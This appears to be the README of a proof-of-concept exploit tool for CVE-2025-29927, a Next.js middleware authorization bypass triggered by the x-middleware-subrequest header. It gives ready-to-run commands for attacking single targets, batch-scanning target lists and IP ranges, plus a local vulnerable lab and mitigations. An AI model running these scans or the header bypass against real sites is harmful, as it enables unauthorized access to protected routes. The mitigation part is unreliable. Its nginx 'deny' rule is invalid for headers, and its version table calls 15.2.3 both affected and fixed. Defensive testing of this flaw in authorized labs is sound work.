
CVE-2025-29927 - Next.js漏洞测试工具
⚠️ Legal Disclaimer: This tool is intended for security research, authorized penetration testing, and educational purposes only. Using this tool against target systems without explicit permission is illegal and unethical.
CVE-2025-29927 is a critical security vulnerability in Next.js that allows attackers to bypass middleware-based authorization controls by exploiting improper handling of the x-middleware-subrequest header.
| Property | Value |
|---|---|
| CVE ID | CVE-2025-29927 |
| CVSS Score | 9.8 (Critical) |
| Affected Versions | Next.js 13.4.0 - 15.2.3 |
| Fixed Versions | Next.js 14.2.25+, 15.2.3+ |
| Discovery Date | March 21, 2025 |
| Vulnerability Type | Authorization Bypass |
Root Cause: Next.js middleware mishandles the x-middleware-subrequest header, treating requests with this header as internal trusted sub-requests, thereby bypassing authorization checks.
Impact: Attackers can access protected routes (e.g., /admin, /api/sensitive) without authentication.
requests)# Clone the repository
git clone https://github.com/hujiaozhuzhu/CVE-2025-29927-POC.git
cd CVE-2025-29927-POC
# Install dependencies
pip install -r requirements.txt
python exploit/cve_2025_29927.py -u http://127.0.0.1:3000
# Custom admin path
python exploit/cve_2025_29927.py -u http://target.com -p /admin
# Verbose output
python exploit/cve_2025_29927.py -u http://target.com -v
# Save results to a file
python exploit/cve_2025_29927.py -u http://target.com -o results.txt
# Scan multiple targets from a file
python exploit/batch_scanner.py -f targets.txt
# Scan an IP range
python exploit/batch_scanner.py --range 192.168.1.0-255
cd target
docker-compose up -d
Access the vulnerable application: http://localhost:3000
cd target
npm install
npm run dev
Normal Request: Send a GET request without the exploit header
Exploit Request: Send a GET request with x-middleware-subrequest: 1
Upgrade Next.js
npm install next@latest
# or
npm install [email protected]
Block Vulnerable Header in Reverse Proxy
location / {
deny x-middleware-subrequest;
# ... rest of configuration
}
# Run vulnerability test
python exploit/cve_2025_29927.py -u http://localhost:3000 -t
# Run test suite
python tests/test_exploit.py
This project is licensed under the MIT License - see the LICENSE file for details.
Important: This tool is intended for educational and authorized security testing purposes only.
By using this tool, you agree to:
If you find issues with this tool or discover new vulnerabilities, please report responsibly:
Remember: Security research should always be ethical and legal. Use your skills to make the internet safer! 🛡️